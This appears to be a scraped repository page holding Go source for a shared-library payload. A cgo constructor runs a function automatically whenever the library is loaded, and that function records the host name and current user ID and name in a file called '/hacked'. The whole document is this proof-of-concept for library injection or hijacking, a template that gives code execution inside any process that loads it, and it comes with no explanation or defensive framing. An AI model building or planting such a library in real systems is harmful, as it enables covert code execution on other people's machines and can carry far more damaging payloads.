README.md
Rendering markdown...
package main
// extern void onload();
//
// __attribute__((constructor))
// __attribute__((weak))
// void load() {
// onload();
// }
import "C"
import (
"fmt"
"os"
"os/user"
)
//export onload
func onload() {
host, _ := os.Hostname()
user, _ := user.Current()
msg := []byte(fmt.Sprintf("host: %s\nuid: %s (%s)\n", host, user.Uid, user.Username))
_ = os.WriteFile("/hacked", msg, 0644)
}
func main() {}